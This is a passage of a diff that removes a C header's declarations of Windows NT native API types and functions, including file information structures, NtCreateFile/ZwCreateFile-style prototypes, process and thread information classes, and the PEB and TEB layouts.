- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- WCHAR FileName[1];
-} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
-
-
-typedef struct _FILE_BOTH_DIR_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- WCHAR FileName[1];
-} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
-
-
-typedef struct _FILE_BASIC_INFORMATION {
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- ULONG FileAttributes;
-} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
-
-
-typedef struct _FILE_STANDARD_INFORMATION {
- LARGE_INTEGER AllocationSize;
- LARGE_INTEGER EndOfFile;
- ULONG NumberOfLinks;
- BOOLEAN DeletePending;
- BOOLEAN Directory;
-} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;
-
-
-typedef struct _FILE_INTERNAL_INFORMATION {
- LARGE_INTEGER IndexNumber;
-} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;
-
-
-typedef struct _FILE_EA_INFORMATION {
- ULONG EaSize;
-} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;
-
-
-typedef struct _FILE_ACCESS_INFORMATION {
- ACCESS_MASK AccessFlags;
-} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;
-
-
-typedef struct _FILE_NAME_INFORMATION {
- ULONG FileNameLength;
- WCHAR FileName[1];
-} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;
-
-
-typedef struct _FILE_RENAME_INFORMATION {
- BOOLEAN ReplaceIfExists;
- HANDLE RootDirectory;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;
-
-
-typedef struct _FILE_NAMES_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
-
-
-typedef struct _FILE_DISPOSITION_INFORMATION {
- BOOLEAN DeleteFile;
-} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION;
-
-
-typedef struct _FILE_POSITION_INFORMATION {
- LARGE_INTEGER CurrentByteOffset;
-} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;
-
-
-typedef struct _FILE_FULL_EA_INFORMATION {
- ULONG NextEntryOffset;
- UCHAR Flags;
- UCHAR EaNameLength;
- USHORT EaValueLength;
- CHAR EaName[1];
-} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
-
-
-typedef struct _FILE_MODE_INFORMATION {
- ULONG Mode;
-} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;
-
-
-typedef struct _FILE_ALIGNMENT_INFORMATION {
- ULONG AlignmentRequirement;
-} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION;
-
-
-typedef struct _FILE_ALL_INFORMATION {
- FILE_BASIC_INFORMATION BasicInformation;
- FILE_STANDARD_INFORMATION StandardInformation;
- FILE_INTERNAL_INFORMATION InternalInformation;
- FILE_EA_INFORMATION EaInformation;
- FILE_ACCESS_INFORMATION AccessInformation;
- FILE_POSITION_INFORMATION PositionInformation;
- FILE_MODE_INFORMATION ModeInformation;
- FILE_ALIGNMENT_INFORMATION AlignmentInformation;
- FILE_NAME_INFORMATION NameInformation;
-} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;
-
-
-typedef struct _FILE_ALLOCATION_INFORMATION {
- LARGE_INTEGER AllocationSize;
-} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;
-
-
-typedef struct _FILE_END_OF_FILE_INFORMATION {
- LARGE_INTEGER EndOfFile;
-} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION;
-
-
-typedef struct _FILE_STREAM_INFORMATION {
- ULONG NextEntryOffset;
- ULONG StreamNameLength;
- LARGE_INTEGER StreamSize;
- LARGE_INTEGER StreamAllocationSize;
- WCHAR StreamName[1];
-} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION;
-
-typedef struct _FILE_PIPE_INFORMATION {
- ULONG ReadMode;
- ULONG CompletionMode;
-} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION;
-
-
-typedef struct _FILE_PIPE_LOCAL_INFORMATION {
- ULONG NamedPipeType;
- ULONG NamedPipeConfiguration;
- ULONG MaximumInstances;
- ULONG CurrentInstances;
- ULONG InboundQuota;
- ULONG ReadDataAvailable;
- ULONG OutboundQuota;
- ULONG WriteQuotaAvailable;
- ULONG NamedPipeState;
- ULONG NamedPipeEnd;
-} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION;
-
-
-typedef struct _FILE_PIPE_REMOTE_INFORMATION {
- LARGE_INTEGER CollectDataTime;
- ULONG MaximumCollectionCount;
-} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION;
-
-
-typedef struct _FILE_MAILSLOT_QUERY_INFORMATION {
- ULONG MaximumMessageSize;
- ULONG MailslotQuota;
- ULONG NextMessageSize;
- ULONG MessagesAvailable;
- LARGE_INTEGER ReadTimeout;
-} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION;
-
-
-typedef struct _FILE_MAILSLOT_SET_INFORMATION {
- PLARGE_INTEGER ReadTimeout;
-} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION;
-
-
-typedef struct _FILE_COMPRESSION_INFORMATION {
- LARGE_INTEGER CompressedFileSize;
- USHORT CompressionFormat;
- UCHAR CompressionUnitShift;
- UCHAR ChunkShift;
- UCHAR ClusterShift;
- UCHAR Reserved[3];
-} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION;
-
-
-typedef struct _FILE_LINK_INFORMATION {
- BOOLEAN ReplaceIfExists;
- HANDLE RootDirectory;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;
-
-
-typedef struct _FILE_OBJECTID_INFORMATION
-{
- LONGLONG FileReference;
- UCHAR ObjectId[16];
- union {
- struct {
- UCHAR BirthVolumeId[16];
- UCHAR BirthObjectId[16];
- UCHAR DomainId[16];
- } ;
- UCHAR ExtendedInfo[48];
- };
-} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION;
-
-
-typedef struct _FILE_COMPLETION_INFORMATION {
- HANDLE Port;
- PVOID Key;
-} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION;
-
-
-typedef struct _FILE_MOVE_CLUSTER_INFORMATION {
- ULONG ClusterCount;
- HANDLE RootDirectory;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION;
-
-
-typedef struct _FILE_NETWORK_OPEN_INFORMATION {
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER AllocationSize;
- LARGE_INTEGER EndOfFile;
- ULONG FileAttributes;
-} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;
-
-
-typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {
- ULONG FileAttributes;
- ULONG ReparseTag;
-} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION;
-
-
-typedef struct _FILE_TRACKING_INFORMATION {
- HANDLE DestinationFile;
- ULONG ObjectInformationLength;
- CHAR ObjectInformation[1];
-} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION;
-
-
-typedef struct _FILE_REPARSE_POINT_INFORMATION {
- LONGLONG FileReference;
- ULONG Tag;
-} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION;
-
-
-typedef struct _FILE_QUOTA_INFORMATION {
- ULONG NextEntryOffset;
- ULONG SidLength;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER QuotaUsed;
- LARGE_INTEGER QuotaThreshold;
- LARGE_INTEGER QuotaLimit;
- SID Sid;
-} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION;
-
-
-typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
-} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
-
-
-typedef struct _FILE_ID_FULL_DIR_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
-} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
-
-
-typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {
- LARGE_INTEGER ValidDataLength;
-} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION;
-
-typedef struct _FILE_LINK_ENTRY_INFORMATION {
- ULONG NextEntryOffset;
- LONGLONG ParentFileId;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION;
-
-typedef struct _FILE_LINKS_INFORMATION {
- ULONG BytesNeeded;
- ULONG EntriesReturned;
- FILE_LINK_ENTRY_INFORMATION Entry;
-} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION;
-
-
-
-typedef enum _FSINFOCLASS {
- FileFsVolumeInformation = 1,
- FileFsLabelInformation, // 2
- FileFsSizeInformation, // 3
- FileFsDeviceInformation, // 4
- FileFsAttributeInformation, // 5
- FileFsControlInformation, // 6
- FileFsFullSizeInformation, // 7
- FileFsObjectIdInformation, // 8
- FileFsDriverPathInformation, // 9
- FileFsMaximumInformation
-} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS;
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCreateFile(
- OUT PHANDLE FileHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PLARGE_INTEGER AllocationSize,
- IN ULONG FileAttributes,
- IN ULONG ShareAccess,
- IN ULONG CreateDisposition,
- IN ULONG CreateOptions,
- IN PVOID EaBuffer,
- IN ULONG EaLength);
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwCreateFile(
- OUT PHANDLE FileHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PLARGE_INTEGER AllocationSize,
- IN ULONG FileAttributes,
- IN ULONG ShareAccess,
- IN ULONG CreateDisposition,
- IN ULONG CreateOptions,
- IN PVOID EaBuffer,
- IN ULONG EaLength);
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenFile(
- OUT PHANDLE FileHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN ULONG ShareAccess,
- IN ULONG OpenOptions
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwOpenFile(
- OUT PHANDLE FileHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN ULONG ShareAccess,
- IN ULONG OpenOptions
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryInformationFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwQueryInformationFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryDirectoryFile(
- IN HANDLE FileHandle,
- IN HANDLE Event OPTIONAL,
- IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
- IN PVOID ApcContext OPTIONAL,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass,
- IN BOOLEAN ReturnSingleEntry,
- IN PUNICODE_STRING FileName OPTIONAL,
- IN BOOLEAN RestartScan
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwQueryDirectoryFile(
- IN HANDLE FileHandle,
- IN HANDLE Event OPTIONAL,
- IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
- IN PVOID ApcContext OPTIONAL,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass,
- IN BOOLEAN ReturnSingleEntry,
- IN PUNICODE_STRING FileName OPTIONAL,
- IN BOOLEAN RestartScan
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryVolumeInformationFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FsInformation,
- IN ULONG Length,
- IN FS_INFORMATION_CLASS FsInformationClass
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwQueryVolumeInformationFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FsInformation,
- IN ULONG Length,
- IN FS_INFORMATION_CLASS FsInformationClass
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetInformationFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwSetInformationFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryEaFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN BOOLEAN ReturnSingleEntry,
- IN PVOID EaList OPTIONAL,
- IN ULONG EaListLength,
- IN PULONG EaIndex OPTIONAL,
- IN BOOLEAN RestartScan);
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwQueryEaFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN BOOLEAN ReturnSingleEntry,
- IN PVOID EaList OPTIONAL,
- IN ULONG EaListLength,
- IN PULONG EaIndex OPTIONAL,
- IN BOOLEAN RestartScan);
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetEaFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PVOID Buffer,
- IN ULONG Length);
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwSetEaFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PVOID Buffer,
- IN ULONG Length);
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtReadFile(
- IN HANDLE FileHandle,
- IN HANDLE Event OPTIONAL,
- IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
- IN PVOID ApcContext OPTIONAL,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN PLARGE_INTEGER ByteOffset OPTIONAL,
- IN PULONG Key OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwReadFile(
- IN HANDLE FileHandle,
- IN HANDLE Event OPTIONAL,
- IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
- IN PVOID ApcContext OPTIONAL,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN PLARGE_INTEGER ByteOffset OPTIONAL,
- IN PULONG Key OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtWriteFile(
- IN HANDLE FileHandle,
- IN HANDLE Event OPTIONAL,
- IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
- IN PVOID ApcContext OPTIONAL,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PVOID Buffer,
- IN ULONG Length,
- IN PLARGE_INTEGER ByteOffset OPTIONAL,
- IN PULONG Key OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwWriteFile(
- IN HANDLE FileHandle,
- IN HANDLE Event OPTIONAL,
- IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
- IN PVOID ApcContext OPTIONAL,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN PVOID Buffer,
- IN ULONG Length,
- IN PLARGE_INTEGER ByteOffset OPTIONAL,
- IN PULONG Key OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtDeleteFile(
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwDeleteFile(
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtFlushBuffersFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwFlushBuffersFile(
- IN HANDLE FileHandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtDeviceIoControlFile(
- IN HANDLE FileHandle,
- IN HANDLE Event,
- IN PIO_APC_ROUTINE ApcRoutine,
- IN PVOID ApcContext,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN ULONG IoControlCode,
- IN PVOID InputBuffer,
- IN ULONG InputBufferLength,
- IN PVOID OutputBuffer,
- IN ULONG OutputBufferLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwDeviceIoControlFile(
- IN HANDLE FileHandle,
- IN HANDLE Event,
- IN PIO_APC_ROUTINE ApcRoutine,
- IN PVOID ApcContext,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN ULONG IoControlCode,
- IN PVOID InputBuffer,
- IN ULONG InputBufferLength,
- IN PVOID OutputBuffer,
- IN ULONG OutputBufferLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCancelIoFile(
- IN HANDLE Filehandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwCancelIoFile(
- IN HANDLE Filehandle,
- OUT PIO_STATUS_BLOCK IoStatusBlock
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlDosPathNameToNtPathName_U (
- IN PWSTR DosPathName,
- OUT PUNICODE_STRING NtPathName,
- OUT PWSTR * NtFileNamePart OPTIONAL,
- OUT PCURDIR DirectoryInfo OPTIONAL
- );
-
-
-//-----------------------------------------------------------------------------
-// Process functions
-
-#define GDI_HANDLE_BUFFER_SIZE 34
-
-//
-// Process Information Classes
-//
-
-typedef enum _PROCESSINFOCLASS {
- ProcessBasicInformation,
- ProcessQuotaLimits,
- ProcessIoCounters,
- ProcessVmCounters,
- ProcessTimes,
- ProcessBasePriority,
- ProcessRaisePriority,
- ProcessDebugPort,
- ProcessExceptionPort,
- ProcessAccessToken,
- ProcessLdtInformation,
- ProcessLdtSize,
- ProcessDefaultHardErrorMode,
- ProcessIoPortHandlers, // Note: this is kernel mode only
- ProcessPooledUsageAndLimits,
- ProcessWorkingSetWatch,
- ProcessUserModeIOPL,
- ProcessEnableAlignmentFaultFixup,
- ProcessPriorityClass,
- ProcessWx86Information,
- ProcessHandleCount,
- ProcessAffinityMask,
- ProcessPriorityBoost,
- ProcessDeviceMap,
- ProcessSessionInformation,
- ProcessForegroundInformation,
- ProcessWow64Information,
- ProcessImageFileName,
- ProcessLUIDDeviceMapsEnabled,
- ProcessBreakOnTermination,
- ProcessDebugObjectHandle,
- ProcessDebugFlags,
- ProcessHandleTracing,
- MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum
-} PROCESSINFOCLASS;
-
-//
-// Thread Information Classes
-//
-
-typedef enum _THREADINFOCLASS {
- ThreadBasicInformation, // ??
- ThreadTimes,
- ThreadPriority, // ??
- ThreadBasePriority, // ??
- ThreadAffinityMask, // ??
- ThreadImpersonationToken, // HANDLE
- ThreadDescriptorTableEntry, // ULONG Selector + LDT_ENTRY
- ThreadEnableAlignmentFaultFixup, // ??
- ThreadEventPair, // ??
- ThreadQuerySetWin32StartAddress, // ??
- ThreadZeroTlsCell, // ??
- ThreadPerformanceCount, // ??
- ThreadAmILastThread, // ??
- ThreadIdealProcessor, // ??
- ThreadPriorityBoost, // ??
- ThreadSetTlsArrayAddress, // ??
- MaxThreadInfoClass
-} THREADINFOCLASS;
-
-
-typedef struct _RTL_DRIVE_LETTER_CURDIR
-{
- USHORT Flags;
- USHORT Length;
- ULONG TimeStamp;
- STRING DosPath;
-
-} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
-
-
-typedef struct _RTL_USER_PROCESS_PARAMETERS
-{
- ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters
- ULONG Length; // Length of valid structure
- ULONG Flags; // Currently only PPF_NORMALIZED (1) is known:
- // - Means that structure is normalized by call RtlNormalizeProcessParameters
- ULONG DebugFlags;
-
- PVOID ConsoleHandle; // HWND to console window associated with process (if any).
- ULONG ConsoleFlags;
- HANDLE StandardInput;
- HANDLE StandardOutput;
- HANDLE StandardError;
-
- CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32"
- UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files.
- UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image.
- UNICODE_STRING CommandLine; // Command line
- PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment)
- ULONG StartingX;
- ULONG StartingY;
- ULONG CountX;
- ULONG CountY;
- ULONG CountCharsX;
- ULONG CountCharsY;
- ULONG FillAttribute; // Fill attribute for console window
- ULONG WindowFlags;
- ULONG ShowWindowFlags;
- UNICODE_STRING WindowTitle;
- UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned
- UNICODE_STRING ShellInfo;
- UNICODE_STRING RuntimeData;
- RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];
-
-} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
-
-//
-// Process Environment Block
-//
-
-typedef struct _PEB_FREE_BLOCK
-{
- struct _PEB_FREE_BLOCK *Next;
- ULONG Size;
-
-} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
-
-
-typedef struct _PEB_LDR_DATA
-{
- ULONG Length;
- BOOLEAN Initialized;
- HANDLE SsHandle;
- LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually)
- LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs)
- LIST_ENTRY InInitializationOrderModuleList;
- PVOID EntryInProgress;
-
-} PEB_LDR_DATA, *PPEB_LDR_DATA;
-
-
-typedef struct _LDR_DATA_TABLE_ENTRY
-{
- LIST_ENTRY InLoadOrderLinks;
- LIST_ENTRY InMemoryOrderLinks;
- LIST_ENTRY InInitializationOrderLinks;
- PVOID DllBase; // Base address of the module
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- USHORT LoadCount;
- USHORT TlsIndex;
- LIST_ENTRY HashLinks;
- PVOID SectionPointer;
- ULONG CheckSum;
- ULONG TimeDateStamp;
- PVOID LoadedImports;
- PVOID EntryPointActivationContext;
- PVOID PatchInformation;
- PVOID Unknown1;
- PVOID Unknown2;
- PVOID Unknown3;
-
-} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
-
-
-typedef struct _PEB
-{
- BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the
- BOOLEAN ReadImageFileExecOptions; //
- BOOLEAN BeingDebugged; //
- BOOLEAN SpareBool; //
- HANDLE Mutant; // INITIAL_PEB structure is also updated.
-
- PVOID ImageBaseAddress;
- PPEB_LDR_DATA Ldr;
- PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
- PVOID SubSystemData;
- PVOID ProcessHeap;
- PVOID FastPebLock;
- PVOID FastPebLockRoutine;
- PVOID FastPebUnlockRoutine;
- ULONG EnvironmentUpdateCount;
- PVOID KernelCallbackTable;
- HANDLE SystemReserved;
- PVOID AtlThunkSListPtr32;
- PPEB_FREE_BLOCK FreeList;
- ULONG TlsExpansionCounter;
- PVOID TlsBitmap;
- ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE
- PVOID ReadOnlySharedMemoryBase;
- PVOID ReadOnlySharedMemoryHeap;
- PVOID *ReadOnlyStaticServerData;
- PVOID AnsiCodePageData;
- PVOID OemCodePageData;
- PVOID UnicodeCaseTableData;
-
- //
- // Useful information for LdrpInitialize
-
- ULONG NumberOfProcessors;
- ULONG NtGlobalFlag;
-
- //
- // Passed up from MmCreatePeb from Session Manager registry key
- //
-
- LARGE_INTEGER CriticalSectionTimeout;
- ULONG HeapSegmentReserve;
- ULONG HeapSegmentCommit;
- ULONG HeapDeCommitTotalFreeThreshold;
- ULONG HeapDeCommitFreeBlockThreshold;
-
- //
- // Where heap manager keeps track of all heaps created for a process
- // Fields initialized by MmCreatePeb. ProcessHeaps is initialized
- // to point to the first free byte after the PEB and MaximumNumberOfHeaps
- // is computed from the page size used to hold the PEB, less the fixed
- // size of this data structure.
- //
-
- ULONG NumberOfHeaps;
- ULONG MaximumNumberOfHeaps;
- PVOID *ProcessHeaps;
-
- //
- //
- PVOID GdiSharedHandleTable;
- PVOID ProcessStarterHelper;
- PVOID GdiDCAttributeList;
- PVOID LoaderLock;
-
- //
- // Following fields filled in by MmCreatePeb from system values and/or
- // image header. These fields have changed since Windows NT 4.0,
- // so use with caution
- //
-
- ULONG OSMajorVersion;
- ULONG OSMinorVersion;
- USHORT OSBuildNumber;
- USHORT OSCSDVersion;
- ULONG OSPlatformId;
- ULONG ImageSubsystem;
- ULONG ImageSubsystemMajorVersion;
- ULONG ImageSubsystemMinorVersion;
- ULONG ImageProcessAffinityMask;
- ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];
-
-} PEB, *PPEB;
-
-
-//
-// Thread environment block
-//
-
-typedef struct _TEB
-{
- NT_TIB NtTib;
- PVOID EnvironmentPointer;
- CLIENT_ID ClientId;
- PVOID ActiveRpcHandle;
- PVOID ThreadLocalStoragePointer;
- PPEB ProcessEnvironmentBlock;
- ULONG LastErrorValue;
- ULONG CountOfOwnedCriticalSections;
- PVOID CsrClientThread;
- PVOID Win32ThreadInfo;
- // Incomplete
-
-} TEB, *PTEB;
-
-
-typedef struct _PROCESS_BASIC_INFORMATION
-{
- NTSTATUS ExitStatus;
- PPEB PebBaseAddress;
- ULONG_PTR AffinityMask;
- KPRIORITY BasePriority;
- ULONG_PTR UniqueProcessId;
- ULONG_PTR InheritedFromUniqueProcessId;
-
-} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
-
-
-
-#define NtCurrentProcess() ((HANDLE) -1)
-#define NtCurrentThread() ((HANDLE) -2)
-
